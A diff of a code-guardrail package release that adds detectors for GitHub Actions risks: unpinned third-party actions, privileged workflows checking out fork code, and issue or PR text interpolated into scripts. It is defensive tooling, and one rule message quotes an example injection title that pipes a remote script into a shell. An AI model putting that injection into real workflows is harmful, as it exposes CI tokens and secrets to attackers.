   "description": "Test strategy, coverage gates, deterministic tests, mocking discipline, regression-first bug fixing, and test-suite organization (layout by type/domain, mirrored paths, file naming, fixture/helper placement).",
-  "updated": "2026-10-04T06:11:13+02:00",
-  "cliVersion": "1.61.3",
-  "sha": "5dd665ba23faf604db1a89421c5d9d9a03a489c5784d1da8b90f57b09f95d1ca"
+  "updated": "2026-10-10T17:15:42+02:00",
+  "cliVersion": "1.62.0",
+  "sha": "86d49572f8e230377fcdafb0ac74bbc86998ffb68c3224b60793bf62a82bab16"
 }

package/assets/skills/validation-policy/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Strict frontend + backend schema validation, normalization before validation (shared normalizers: trim, lowercase email, capitalize names, canonicalize links and handles), real-time error timing (an emptied or not-yet-filled field is incomplete, not invalid: a `*` and an aria-disabled submit instead of \"not valid\" over an empty input), schema consistency, and safe client-facing error handling.",
   "updated": "2026-10-02T19:07:57+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "7b39ded6b82cb7a8424aea7b8d59a293791205d57e7272ff63d9fa558772ecb1"
 }

package/bin/checksums.json

@@ -1,6 +1,6 @@
 {
-  "enigma-darwin-arm64": "42ece461ba32bb63dde1aaff39c97925a6b3e60da1b11e85863a92aa25486131",
-  "enigma-linux-arm64": "ae7739619c360f6c9220f95421d0027108db12ff3b174f26b2d22b30d154b23b",
-  "enigma-linux-x64": "6b1194ba8784326f7689d4a27d823be10566884cb519407615f5d97d352b2187",
-  "enigma-win32-x64.exe": "2787ef788bfa08db7cebf281443bcb276069fa335951a0bf73de448d1ab31e38"
+  "enigma-darwin-arm64": "6e4862e98471ff3933a18e5e81bb3bcd15f9eb571cd08808c05f923037248df4",
+  "enigma-linux-arm64": "9420f1390927615d19d262ed71100a636d1b2e08e242c7942b2cb1d6913749d3",
+  "enigma-linux-x64": "15fb445f995dad748b0e6be83b787cc81a051525e331c62c98f90f835d124cac",
+  "enigma-win32-x64.exe": "f1056009296b78d356a481b1d78205946b25ebce09f391a63dfa9b7805052e55"
 }

package/dist/guardrails.js

@@ -38,6 +38,7 @@ var INJECTION_EXCLUDES = [
   "vendor/**",
   "**/site-packages/**"
 ];
+var WORKFLOW_FILES = [".github/workflows/*.yml", ".github/workflows/*.yaml", "**/.github/workflows/*.yml", "**/.github/workflows/*.yaml"];
 var UI_CODE_FILES = ["*.tsx", "*.jsx", "*.vue", "*.svelte", "*.astro", "*.html", "*.htm"];
 var UI_STYLE_FILES = [...UI_CODE_FILES, "*.css", "*.scss", "*.sass", "*.less"];
 var TELL_EXCLUDES = [...INJECTION_EXCLUDES, "**/stories/**", "stories/**", "**/.storybook/**", "*.story.*"];
@@ -2391,6 +2392,38 @@ var BUILTIN_RULES = [
     severity: "block",
     skill: "security-policy"
   },
+  // CI workflows (ci-policy). Measured over the reference repos' workflow files (guardrails.md, "CI WORKFLOW RULES").
+  {
+    id: "ci-action-unpinned",
+    label: "Third-party actions are pinned to a commit SHA",
+    files: [...WORKFLOW_FILES, "action.yml", "action.yaml"],
+    scope: "file",
+    stage: "diff",
+    fileCheck: "ci-action-unpinned",
+    message: "This step runs a third-party action (or reusable workflow) by a tag or branch, and whoever controls that repository can move the tag to new code after you reviewed it - the tj-actions/changed-files compromise in March 2025 rewrote every tag to dump CI secrets. Pin the full 40-character commit SHA with the version as a comment: `uses: owner/action@<sha> # v4.2.1` (resolve it with `gh api repos/<owner>/<action>/commits/<tag> --jq .sha`), and let Dependabot (`package-ecosystem: github-actions`) or Renovate move the pin. A container image is pinned by `@sha256:` digest. Mark the line `enigma:allow-unpinned-action` for an action this organization owns and releases itself (ci-policy).",
+    severity: "block",
+    skill: "ci-policy"
+  },
+  {
+    id: "ci-untrusted-checkout",
+    label: "Privileged workflows never run a pull request's code",
+    files: WORKFLOW_FILES,
+    scope: "file",
+    fileCheck: "ci-untrusted-checkout",
+    message: "This workflow runs on `pull_request_target` or `workflow_run`, which carry the base repository's secrets and a write token, and it checks out the pull request's own code. Any build, install or test step that follows runs code a fork author wrote, with those secrets (a \"pwn request\"). Run the untrusted code under `pull_request` (no secrets, read-only token) and, if a privileged step is needed, pass it only data through an artifact that the `workflow_run` job reads without executing. Mark the line `enigma:allow-untrusted-checkout` when the checked-out files are only read as data and nothing from them is executed or installed (ci-policy).",
+    severity: "block",
+    skill: "ci-policy"
+  },
+  {
+    id: "ci-script-injection",
+    label: "Untrusted event text never reaches a script directly",
+    files: [...WORKFLOW_FILES, "action.yml", "action.yaml"],
+    scope: "file",
+    fileCheck: "ci-script-injection",
+    message: 'This script interpolates text that anyone who opens an issue or pull request controls (a title, body, comment, branch name or commit message) with `${{ }}`. Actions substitutes it into the script BEFORE the shell or JavaScript runs, so a title like `"; curl evil.sh | sh #` becomes code with the job\'s token and secrets. Pass it through an environment variable and quote it: `env: TITLE: ${{ github.event.issue.title }}` then `"$TITLE"` in the script (or `process.env.TITLE` in github-script) (ci-policy).',
+    severity: "block",
+    skill: "ci-policy"
+  },
   {
     id: "sec-secret-compare-timing",
     label: "Secrets are compared in constant time",
@@ -2713,6 +2746,9 @@ var FILE_CHECKS = {
   "sec-markdown-html-unsanitized": (content) => unsanitizedMarkdownHtml(content),
   "fe-radix-overlay-no-portal": (content) => radixContentWithoutPortal(content),
   "sec-ssh-host-key-unverified": (content) => unverifiedSshHostKey(content),
+  "ci-action-unpinned": (content) => unpinnedWorkflowAction(content),
+  "ci-untrusted-checkout": (content) => untrustedCheckout(content),
+  "ci-script-injection": (content) => untrustedTextInScript(content),
   "sec-secret-compare-timing": (content, file) => timingUnsafeSecretCompare(content, file),
   "sec-redirect-prefix-check": (content, file) => redirectPrefixCheck(content, file),
   "sec-open-redirect-from-input": (content, file) => redirectFromInput(content, file),
@@ -4020,6 +4056,98 @@ function unverifiedSshHostKey(content) {
   }
   return out;
 }
+var ACTION_USES = /^\s*(?:-\s+)?uses:\s*["']?([^\s"'#]+)/;
+var FULL_SHA = /^[0-9a-f]{40}$/i;
+var IMAGE_DIGEST = /@sha256:[0-9a-f]{64}$/i;
+function unpinnedWorkflowAction(content) {
+  const out = [];
+  const lines = content.split("\n");
+  for (let i = 0; i < lines.length; i++) {
+    const text = lines[i];
+    if (auditSkipLine(text)) continue;
+    const ref = ACTION_USES.exec(text)?.[1];
+    if (!ref || ref.startsWith("./") || ref.startsWith("../") || ref.includes("${{")) continue;
+    if (ref.startsWith("docker://")) {
+      if (!IMAGE_DIGEST.test(ref)) out.push({ line: i + 1, detail: ref });
+      continue;
+    }
+    const at = ref.lastIndexOf("@");
+    if (at < 0 || !FULL_SHA.test(ref.slice(at + 1))) out.push({ line: i + 1, detail: ref });
+  }
+  return out;
+}
+var PRIVILEGED_TRIGGER = /\b(?:pull_request_target|workflow_run)\b/;
+var PR_HEAD_REF = /\$\{\{[^}]*\b(?:github\.event\.pull_request\.(?:head\.(?:sha|ref)|merge_commit_sha)|github\.head_ref|github\.event\.workflow_run\.head_(?:sha|branch))\b|refs\/pull\/(?:\$\{\{[^}]*\}\}|[^\s"'/]+)\/(?:head|merge)\b/;
+var CHECKOUT_SITE = /^\s*(?:-\s+)?ref:|\bgit\s+(?:fetch|checkout|switch|pull|worktree)\b|\bgh\s+pr\s+checkout\b/;
+var SAME_REPO_GUARD = /\b(?:workflow_run\.head_repository|pull_request\.head\.repo)\.full_name\s*==\s*github\.repository\b|\bgithub\.repository\s*==\s*github\.event\.(?:workflow_run\.head_repository|pull_request\.head\.repo)\.full_name\b|\b(?:workflow_run\.head_repository|pull_request\.head\.repo)\.fork\s*==\s*false\b|!\s*github\.event\.(?:workflow_run\.head_repository|pull_request\.head\.repo)\.fork\b(?!\s*==)/;
+function jobOfLine(lines) {
+  const job = [];
+  let inJobs = false;
+  let jobIndent = -1;
+  let current = -1;
+  for (const text of lines) {
+    const indent = text.length - text.trimStart().length;
+    const blank = text.trim() === "" || COMMENT_LINE.test(text);
+    if (!blank && indent === 0) {
+      inJobs = /^jobs:\s*(?:#.*)?$/.test(text);
+      jobIndent = -1;
+      current = -1;
+    } else if (!blank && inJobs) {
+      if (jobIndent < 0) jobIndent = indent;
+      if (indent === jobIndent) current = job.length;
+    }
+    job.push(current);
+  }
+  return job;
+}
+function untrustedCheckout(content) {
+  const lines = content.split("\n");
+  if (!lines.some((l) => !COMMENT_LINE.test(l) && PRIVILEGED_TRIGGER.test(l))) return [];
+  const job = jobOfLine(lines);
+  const guarded = /* @__PURE__ */ new Set();
+  lines.forEach((l, i) => {
+    if (!COMMENT_LINE.test(l) && SAME_REPO_GUARD.test(l)) guarded.add(job[i]);
+  });
+  const out = [];
+  for (let i = 0; i < lines.length; i++) {
+    const text = lines[i];
+    if (auditSkipLine(text) || !CHECKOUT_SITE.test(text) || guarded.has(job[i])) continue;
+    const head = PR_HEAD_REF.exec(text) ?? /\bgh\s+pr\s+checkout\b/.exec(text);
+    if (head) out.push({ line: i + 1, detail: head[0] });
+  }
+  return out;
+}
+var UNTRUSTED_EVENT_TEXT = /\$\{\{[^}]*?\b(github\.head_ref|github\.event\.(?:issue|pull_request|discussion)\.(?:title|body)|github\.event\.(?:comment|review|review_comment)\.body|github\.event\.pages\b[^}]*?\.page_name|github\.event\.head_commit\.(?:message|author\.(?:email|name))|github\.event\.commits\b[^}]*?\.(?:message|author\.(?:email|name))|github\.event\.pull_request\.head\.(?:ref|label|repo\.default_branch)|github\.event\.workflow_run\.(?:head_branch|display_title|head_commit\.message))\b/;
+var SCRIPT_KEY = /^(\s*)(-\s+)?(?:run|script):\s*(.*)$/;
+var BLOCK_SCALAR = /^[|>][-+0-9]*\s*(?:#.*)?$/;
+function untrustedTextInScript(content) {
+  const out = [];
+  const lines = content.split("\n");
+  const check = (text, i) => {
+    if (/enigma:/.test(text)) return;
+    const m = UNTRUSTED_EVENT_TEXT.exec(text);
+    if (m) out.push({ line: i + 1, detail: m[1] });
+  };
+  let bodyAbove = -1;
+  for (let i = 0; i < lines.length; i++) {
+    const text = lines[i];
+    if (bodyAbove >= 0) {
+      if (text.trim() === "") continue;
+      if (text.length - text.trimStart().length > bodyAbove) {
+        check(text, i);
+        continue;
+      }
+      bodyAbove = -1;
+    }
+    if (COMMENT_LINE.test(text)) continue;
+    const key = SCRIPT_KEY.exec(text);
+    if (!key) continue;
+    const rest = key[3];
+    if (BLOCK_SCALAR.test(rest)) bodyAbove = key[1].length + (key[2]?.length ?? 0);
+    else check(rest, i);
+  }
+  return out;
+}
 var OPERAND_BEFORE = /((?:`[^`]*`)|[A-Za-z_$][\w$]*(?:\??\.[A-Za-z_$][\w$]*|\[[^\]\n]{1,60}\]|\((?:[^()\n]|\([^()\n]*\))*\))*)\s*$/;
 var OPERAND_AFTER = /^\s*((?:`[^`]*`)|(?:await\s+)?[A-Za-z_$][\w$]*(?:\??\.[A-Za-z_$][\w$]*|\[[^\]\n]{1,60}\]|\((?:[^()\n]|\([^()\n]*\))*\))*)/;
 var LITERAL_OPERAND = /^(?:null|undefined|true|false|None|True|False|NaN|\d[\w.]*|["'][^"']*["']|`[^`$]*`)$/;
@@ -4847,8 +4975,11 @@ export {
   unboundedFanout,
   unboundedOrmRead,
   unboundedRemoteList,
+  unpinnedWorkflowAction,
   unsafeDeserialization,
   unsanitizedMarkdownHtml,
+  untrustedCheckout,
+  untrustedTextInScript,
   unverifiedSshHostKey,
   viewBlankedWhileLoading,
   wideNamedImports

package/dist/post-edit.js

@@ -644,8 +644,11 @@ __export(guardrails_exports, {
   unboundedFanout: () => unboundedFanout,
   unboundedOrmRead: () => unboundedOrmRead,
   unboundedRemoteList: () => unboundedRemoteList,
+  unpinnedWorkflowAction: () => unpinnedWorkflowAction,
   unsafeDeserialization: () => unsafeDeserialization,
   unsanitizedMarkdownHtml: () => unsanitizedMarkdownHtml,
+  untrustedCheckout: () => untrustedCheckout,
+  untrustedTextInScript: () => untrustedTextInScript,
   unverifiedSshHostKey: () => unverifiedSshHostKey,
   viewBlankedWhileLoading: () => viewBlankedWhileLoading,
   wideNamedImports: () => wideNamedImports
@@ -1780,6 +1783,88 @@ function unverifiedSshHostKey(content) {
   }
   return out;
 }
+function unpinnedWorkflowAction(content) {
+  const out = [];
+  const lines = content.split("\n");
+  for (let i = 0; i < lines.length; i++) {
+    const text = lines[i];
+    if (auditSkipLine(text)) continue;
+    const ref = ACTION_USES.exec(text)?.[1];
+    if (!ref || ref.startsWith("./") || ref.startsWith("../") || ref.includes("${{")) continue;
+    if (ref.startsWith("docker://")) {
+      if (!IMAGE_DIGEST.test(ref)) out.push({ line: i + 1, detail: ref });
+      continue;
+    }
+    const at = ref.lastIndexOf("@");
+    if (at < 0 || !FULL_SHA.test(ref.slice(at + 1))) out.push({ line: i + 1, detail: ref });
+  }
+  return out;
+}
+function jobOfLine(lines) {
+  const job = [];
+  let inJobs = false;
+  let jobIndent = -1;
+  let current = -1;
+  for (const text of lines) {
+    const indent = text.length - text.trimStart().length;
+    const blank = text.trim() === "" || COMMENT_LINE.test(text);
+    if (!blank && indent === 0) {
+      inJobs = /^jobs:\s*(?:#.*)?$/.test(text);
+      jobIndent = -1;
+      current = -1;
+    } else if (!blank && inJobs) {
+      if (jobIndent < 0) jobIndent = indent;
+      if (indent === jobIndent) current = job.length;
+    }
+    job.push(current);
+  }
+  return job;
+}
+function untrustedCheckout(content) {
+  const lines = content.split("\n");
+  if (!lines.some((l) => !COMMENT_LINE.test(l) && PRIVILEGED_TRIGGER.test(l))) return [];
+  const job = jobOfLine(lines);
+  const guarded = /* @__PURE__ */ new Set();
+  lines.forEach((l, i) => {
+    if (!COMMENT_LINE.test(l) && SAME_REPO_GUARD.test(l)) guarded.add(job[i]);
+  });
+  const out = [];
+  for (let i = 0; i < lines.length; i++) {
+    const text = lines[i];
+    if (auditSkipLine(text) || !CHECKOUT_SITE.test(text) || guarded.has(job[i])) continue;
+    const head = PR_HEAD_REF.exec(text) ?? /\bgh\s+pr\s+checkout\b/.exec(text);
+    if (head) out.push({ line: i + 1, detail: head[0] });
+  }
+  return out;
+}
+function untrustedTextInScript(content) {
+  const out = [];
+  const lines = content.split("\n");
+  const check = (text, i) => {
+    if (/enigma:/.test(text)) return;
+    const m = UNTRUSTED_EVENT_TEXT.exec(text);
+    if (m) out.push({ line: i + 1, detail: m[1] });
+  };
+  let bodyAbove = -1;
+  for (let i = 0; i < lines.length; i++) {
+    const text = lines[i];
+    if (bodyAbove >= 0) {
+      if (text.trim() === "") continue;
+      if (text.length - text.trimStart().length > bodyAbove) {
+        check(text, i);
+        continue;
+      }
+      bodyAbove = -1;
+    }
+    if (COMMENT_LINE.test(text)) continue;
+    const key = SCRIPT_KEY.exec(text);
+    if (!key) continue;
+    const rest = key[3];
+    if (BLOCK_SCALAR.test(rest)) bodyAbove = key[1].length + (key[2]?.length ?? 0);
+    else check(rest, i);
+  }
+  return out;
+}
 function secretKind(expr, bound) {
   if (expr.startsWith("`")) return /^`(?:Bearer|Basic|Token)\s+\$\{/i.test(expr) ? "configured" : "";
   if (CONFIGURED_SECRET.test(expr)) return "configured";
@@ -2443,7 +2528,7 @@ enigma-guardrails: BLOCKED - ${r.blocks.length} convention violation(s):`);
   console.log(`enigma-guardrails: ${r.count} ${all ? "tracked" : "staged"} file(s) checked, no blocking violations.`);
   return 0;
 }
-var COMMENT_LINE, SKELETON_GUARD_SRC, SKELETON_SIGNAL_SRC, INJECTION_EXCLUDES, UI_CODE_FILES, UI_STYLE_FILES, TELL_EXCLUDES, DB_SCRIPT_EXCLUDES, BUILTIN_RULES, PROJECT_CHECKS, CURRENT_PASSWORD, NEW_PASSWORD, NEW_PASSWORD_PROP, NOT_A_JSX_PROP, FILE_CHECKS, FIXERS, SPAWNERS, MUTATING_REQUEST, ENTITY_WRITE, OPTIMISTIC_SIGNAL, ALLOW_SERVER_FIRST, RESULT_BINDING, BLOCK_LOOKBACK, BLOCK_LOOKAHEAD, REVALIDATE_AFTER, PROMISE_FANOUT, FANOUT_LITERAL, FANOUT_MAPPED, FANOUT_OVER_OBJECT, EXPENSIVE_PER_ITEM, CONCURRENCY_BOUND, FANOUT_WINDOW, TEXTAREA, TEXTAREA_LOWER, TEXTAREA_UPPER, TEXTAREA_FIXED, TEXTAREA_AUTOSIZE, VIEW_GUARD, LOADING_NAME, LOADING_VALUE, VIEW_GUARD_LOADING, VIEW_CHROME_HEADING, VIEW_CHROME_TEXT, VIEW_BODY_LOOKAHEAD, ALLOW_VIEW_SKELETON, SKELETON_GUARD, SKELETON_SIGNAL, REMOTE_COLLECTION_BINDINGS, LIST_BOUNDED, ALLOW_UNBOUNDED_LIST, MENU_HANDLER, MENU_POINT, MENU_STATE, MENU_MITIGATED, SELECT_RANGE_KEY, SELECT_ADD_KEY, SELECT_STATE, SELECT_MITIGATED, COLOR_MATHS, COLOR_DRAG, COLOR_MEASURE, COLOR_STATE, COLOR_MITIGATED, LIGHTBOX_IMAGE, LIGHTBOX_WHEEL, LIGHTBOX_ZOOM, LIGHTBOX_DIALOG, LIGHTBOX_MITIGATED, VIDEO_ELEMENT, VIDEO_DRIVEN, VIDEO_TIMELINE, VIDEO_CONTROLS, VIDEO_MITIGATED, TWOFA_SUBJECT, TWOFA_ENROLL, TWOFA_PASSWORD, TWOFA_MITIGATED, TWOFA_WINDOW, LISTBOX_ROLE, LISTBOX_OPEN, LISTBOX_OPTIONS, LISTBOX_MITIGATED, NATIVE_SELECT, NATIVE_SELECT_MAPPED, NATIVE_SELECT_TRIGGER, NATIVE_SELECT_MITIGATED, TOAST_QUEUE, TOAST_TIMER, TOAST_MITIGATED, PALETTE_SHORTCUT, PALETTE_MODIFIER, PALETTE_OPEN, PALETTE_FILTER, PALETTE_MITIGATED, CLIP_ONE_LINE, DYNAMIC_CHILD, VALUE_REACHABLE, WRAPPER_LOOKBACK, ALLOW_CLIPPED_VALUE, CLIPPED_SIMPLE_VALUE, NOT_TEXT_BINDING, ASYNC_ROUTE, SERVER_DATA_AWAIT, STREAM_BOUNDARY, ALLOW_BLOCKING_PAGE, LOADING_BOUNDARY_FILE, SPECIFIER, MODULE_EXT, JS_EXT, tsconfigCache, NAMED_IMPORT, GENERIC_ACCOUNTS, MINIFIED_LINE, CALL_LEAD_JS, CALL_LEAD_PY, CONSTANT_EXPR, SQL_DML, SQL_VALUE_POSITION, SQL_PLACEHOLDER_BUILDER, SQL_SAFE_EXPR, SQL_CALL_JS, SQL_CALL_PY, SHELL_SAFE_EXPR, INSECURE_TLS_JS, INSECURE_TLS_PY, PY_HTTP_CLIENT, LOOPBACK_HINT, TLS_OPERATOR_TOGGLE, CORS_ANY_ORIGIN_JS, CORS_CREDENTIALS_JS, CORS_ANY_ORIGIN_PY, CORS_CREDENTIALS_PY, CORS_WINDOW, PYYAML_IMPORT, PICKLE_FROM_OUTSIDE, RAW_HTML_MARKDOWN, OPT_IN_HTML_MARKDOWN, MARKDOWN_HTML_ON, HTML_SANITIZER, HTML_SINK, RADIX_OVERLAY_MODULE, RADIX_UMBRELLA_PARTS, INTERNAL_MODULE, globCache, DIFF_HUNK, REQUEST_INPUT_JS, REQUEST_INPUT_PY, SSH_HOST_KEY_OFF, OPERAND_BEFORE, OPERAND_AFTER, LITERAL_OPERAND, CONFIGURED_SECRET, PRESENTED_CREDENTIAL, COMPUTED_MAC, SECRET_NAMED, NOT_SECRET_NAMED, REMEMBERED_COPY, SLASH_PREFIX_CHECK, DESTINATION_NAME, GENERIC_PARAM_NAME, NAVIGATION_SINK, DESTINATION_HELPER, SIGN_IN_FILE, RESOLVED_ORIGIN_CHECK, COMPLETE_PREFIX_CHECK, REDIRECT_SINK_JS, REDIRECT_SINK_PY, REDIRECT_VALIDATED, OUTBOUND_JS, OUTBOUND_PY, SSRF_GUARDED, DNS_RESOLUTION, PRIVATE_ADDRESS_CHECK, OUTBOUND_CALL, CONNECTION_PINNED, RESPONSE_TYPE_CALL_JS, RESPONSE_TYPE_KEY_JS, RESPONSE_OPENER_JS, RESPONSE_TYPE_KWARG_PY, RESPONSE_OPENER_PY, STORED_FILE_TYPE, RESPONSE_SANDBOXED, PATH_JOIN_JS, PATH_JOIN_PY, PATH_CONTAINED, TW_HUE, TW_STOP, HEX_COLOR, ALLOW_BRAND_GRADIENT, ALLOW_GRADIENT_TEXT, SHIMMER, TW_LEFT_STRIPE, TW_ROUNDED_LEFT, ALLOW_ACCENT_STRIPE, EMOJI, EMOJI_LEAD, EMOJI_ICON, EMOJI_COMMIT_SAMPLE, TERMINAL_MARKUP, ALLOW_EMOJI_ICON, COPY_PROP, POWERED_BY_BUZZWORD, ALLOW_POWERED_BY, CHAT_RESIDUE, CHAT_LINK, ALLOW_CHAT_RESIDUE, AI_VOCABULARY, SEAMLESS_LITERAL, ALLOW_AI_VOCABULARY, REQUEST_SERVING, READ_BOUND, ALLOW_UNBOUNDED_READ, ALLOW_SELECT_STAR, ORM_READ_CALL, ROW_LOOP, ALLOW_QUERY_IN_LOOP, FIXED_CANVAS_FILE, TW_DECORATION, EMAIL_MARKUP, TW_WIDTH_GUARD, ALLOW_FIXED_WIDTH, TW_VIEWPORT_HEIGHT, DYNAMIC_VIEWPORT, ALLOW_VIEWPORT_HEIGHT, SPARKLES_IMPORT, SPARKLES_NAME, ALLOW_SPARKLES, LEDGER_MAX_BYTES, LEDGER_KEEP, LEDGER_KEEP_REPLY, grEntry, isGrEntry;
+var COMMENT_LINE, SKELETON_GUARD_SRC, SKELETON_SIGNAL_SRC, INJECTION_EXCLUDES, WORKFLOW_FILES, UI_CODE_FILES, UI_STYLE_FILES, TELL_EXCLUDES, DB_SCRIPT_EXCLUDES, BUILTIN_RULES, PROJECT_CHECKS, CURRENT_PASSWORD, NEW_PASSWORD, NEW_PASSWORD_PROP, NOT_A_JSX_PROP, FILE_CHECKS, FIXERS, SPAWNERS, MUTATING_REQUEST, ENTITY_WRITE, OPTIMISTIC_SIGNAL, ALLOW_SERVER_FIRST, RESULT_BINDING, BLOCK_LOOKBACK, BLOCK_LOOKAHEAD, REVALIDATE_AFTER, PROMISE_FANOUT, FANOUT_LITERAL, FANOUT_MAPPED, FANOUT_OVER_OBJECT, EXPENSIVE_PER_ITEM, CONCURRENCY_BOUND, FANOUT_WINDOW, TEXTAREA, TEXTAREA_LOWER, TEXTAREA_UPPER, TEXTAREA_FIXED, TEXTAREA_AUTOSIZE, VIEW_GUARD, LOADING_NAME, LOADING_VALUE, VIEW_GUARD_LOADING, VIEW_CHROME_HEADING, VIEW_CHROME_TEXT, VIEW_BODY_LOOKAHEAD, ALLOW_VIEW_SKELETON, SKELETON_GUARD, SKELETON_SIGNAL, REMOTE_COLLECTION_BINDINGS, LIST_BOUNDED, ALLOW_UNBOUNDED_LIST, MENU_HANDLER, MENU_POINT, MENU_STATE, MENU_MITIGATED, SELECT_RANGE_KEY, SELECT_ADD_KEY, SELECT_STATE, SELECT_MITIGATED, COLOR_MATHS, COLOR_DRAG, COLOR_MEASURE, COLOR_STATE, COLOR_MITIGATED, LIGHTBOX_IMAGE, LIGHTBOX_WHEEL, LIGHTBOX_ZOOM, LIGHTBOX_DIALOG, LIGHTBOX_MITIGATED, VIDEO_ELEMENT, VIDEO_DRIVEN, VIDEO_TIMELINE, VIDEO_CONTROLS, VIDEO_MITIGATED, TWOFA_SUBJECT, TWOFA_ENROLL, TWOFA_PASSWORD, TWOFA_MITIGATED, TWOFA_WINDOW, LISTBOX_ROLE, LISTBOX_OPEN, LISTBOX_OPTIONS, LISTBOX_MITIGATED, NATIVE_SELECT, NATIVE_SELECT_MAPPED, NATIVE_SELECT_TRIGGER, NATIVE_SELECT_MITIGATED, TOAST_QUEUE, TOAST_TIMER, TOAST_MITIGATED, PALETTE_SHORTCUT, PALETTE_MODIFIER, PALETTE_OPEN, PALETTE_FILTER, PALETTE_MITIGATED, CLIP_ONE_LINE, DYNAMIC_CHILD, VALUE_REACHABLE, WRAPPER_LOOKBACK, ALLOW_CLIPPED_VALUE, CLIPPED_SIMPLE_VALUE, NOT_TEXT_BINDING, ASYNC_ROUTE, SERVER_DATA_AWAIT, STREAM_BOUNDARY, ALLOW_BLOCKING_PAGE, LOADING_BOUNDARY_FILE, SPECIFIER, MODULE_EXT, JS_EXT, tsconfigCache, NAMED_IMPORT, GENERIC_ACCOUNTS, MINIFIED_LINE, CALL_LEAD_JS, CALL_LEAD_PY, CONSTANT_EXPR, SQL_DML, SQL_VALUE_POSITION, SQL_PLACEHOLDER_BUILDER, SQL_SAFE_EXPR, SQL_CALL_JS, SQL_CALL_PY, SHELL_SAFE_EXPR, INSECURE_TLS_JS, INSECURE_TLS_PY, PY_HTTP_CLIENT, LOOPBACK_HINT, TLS_OPERATOR_TOGGLE, CORS_ANY_ORIGIN_JS, CORS_CREDENTIALS_JS, CORS_ANY_ORIGIN_PY, CORS_CREDENTIALS_PY, CORS_WINDOW, PYYAML_IMPORT, PICKLE_FROM_OUTSIDE, RAW_HTML_MARKDOWN, OPT_IN_HTML_MARKDOWN, MARKDOWN_HTML_ON, HTML_SANITIZER, HTML_SINK, RADIX_OVERLAY_MODULE, RADIX_UMBRELLA_PARTS, INTERNAL_MODULE, globCache, DIFF_HUNK, REQUEST_INPUT_JS, REQUEST_INPUT_PY, SSH_HOST_KEY_OFF, ACTION_USES, FULL_SHA, IMAGE_DIGEST, PRIVILEGED_TRIGGER, PR_HEAD_REF, CHECKOUT_SITE, SAME_REPO_GUARD, UNTRUSTED_EVENT_TEXT, SCRIPT_KEY, BLOCK_SCALAR, OPERAND_BEFORE, OPERAND_AFTER, LITERAL_OPERAND, CONFIGURED_SECRET, PRESENTED_CREDENTIAL, COMPUTED_MAC, SECRET_NAMED, NOT_SECRET_NAMED, REMEMBERED_COPY, SLASH_PREFIX_CHECK, DESTINATION_NAME, GENERIC_PARAM_NAME, NAVIGATION_SINK, DESTINATION_HELPER, SIGN_IN_FILE, RESOLVED_ORIGIN_CHECK, COMPLETE_PREFIX_CHECK, REDIRECT_SINK_JS, REDIRECT_SINK_PY, REDIRECT_VALIDATED, OUTBOUND_JS, OUTBOUND_PY, SSRF_GUARDED, DNS_RESOLUTION, PRIVATE_ADDRESS_CHECK, OUTBOUND_CALL, CONNECTION_PINNED, RESPONSE_TYPE_CALL_JS, RESPONSE_TYPE_KEY_JS, RESPONSE_OPENER_JS, RESPONSE_TYPE_KWARG_PY, RESPONSE_OPENER_PY, STORED_FILE_TYPE, RESPONSE_SANDBOXED, PATH_JOIN_JS, PATH_JOIN_PY, PATH_CONTAINED, TW_HUE, TW_STOP, HEX_COLOR, ALLOW_BRAND_GRADIENT, ALLOW_GRADIENT_TEXT, SHIMMER, TW_LEFT_STRIPE, TW_ROUNDED_LEFT, ALLOW_ACCENT_STRIPE, EMOJI, EMOJI_LEAD, EMOJI_ICON, EMOJI_COMMIT_SAMPLE, TERMINAL_MARKUP, ALLOW_EMOJI_ICON, COPY_PROP, POWERED_BY_BUZZWORD, ALLOW_POWERED_BY, CHAT_RESIDUE, CHAT_LINK, ALLOW_CHAT_RESIDUE, AI_VOCABULARY, SEAMLESS_LITERAL, ALLOW_AI_VOCABULARY, REQUEST_SERVING, READ_BOUND, ALLOW_UNBOUNDED_READ, ALLOW_SELECT_STAR, ORM_READ_CALL, ROW_LOOP, ALLOW_QUERY_IN_LOOP, FIXED_CANVAS_FILE, TW_DECORATION, EMAIL_MARKUP, TW_WIDTH_GUARD, ALLOW_FIXED_WIDTH, TW_VIEWPORT_HEIGHT, DYNAMIC_VIEWPORT, ALLOW_VIEWPORT_HEIGHT, SPARKLES_IMPORT, SPARKLES_NAME, ALLOW_SPARKLES, LEDGER_MAX_BYTES, LEDGER_KEEP, LEDGER_KEEP_REPLY, grEntry, isGrEntry;
 var init_guardrails = __esm({
   "src/guardrails.ts"() {
     "use strict";
@@ -2479,6 +2564,7 @@ var init_guardrails = __esm({
       "vendor/**",
       "**/site-packages/**"
     ];
+    WORKFLOW_FILES = [".github/workflows/*.yml", ".github/workflows/*.yaml", "**/.github/workflows/*.yml", "**/.github/workflows/*.yaml"];
     UI_CODE_FILES = ["*.tsx", "*.jsx", "*.vue", "*.svelte", "*.astro", "*.html", "*.htm"];
     UI_STYLE_FILES = [...UI_CODE_FILES, "*.css", "*.scss", "*.sass", "*.less"];
     TELL_EXCLUDES = [...INJECTION_EXCLUDES, "**/stories/**", "stories/**", "**/.storybook/**", "*.story.*"];
@@ -4832,6 +4918,38 @@ var init_guardrails = __esm({
         severity: "block",
         skill: "security-policy"
       },
+      // CI workflows (ci-policy). Measured over the reference repos' workflow files (guardrails.md, "CI WORKFLOW RULES").
+      {
+        id: "ci-action-unpinned",
+        label: "Third-party actions are pinned to a commit SHA",
+        files: [...WORKFLOW_FILES, "action.yml", "action.yaml"],
+        scope: "file",
+        stage: "diff",
+        fileCheck: "ci-action-unpinned",
+        message: "This step runs a third-party action (or reusable workflow) by a tag or branch, and whoever controls that repository can move the tag to new code after you reviewed it - the tj-actions/changed-files compromise in March 2025 rewrote every tag to dump CI secrets. Pin the full 40-character commit SHA with the version as a comment: `uses: owner/action@<sha> # v4.2.1` (resolve it with `gh api repos/<owner>/<action>/commits/<tag> --jq .sha`), and let Dependabot (`package-ecosystem: github-actions`) or Renovate move the pin. A container image is pinned by `@sha256:` digest. Mark the line `enigma:allow-unpinned-action` for an action this organization owns and releases itself (ci-policy).",
+        severity: "block",
+        skill: "ci-policy"
+      },
+      {
+        id: "ci-untrusted-checkout",
+        label: "Privileged workflows never run a pull request's code",
+        files: WORKFLOW_FILES,
+        scope: "file",
+        fileCheck: "ci-untrusted-checkout",
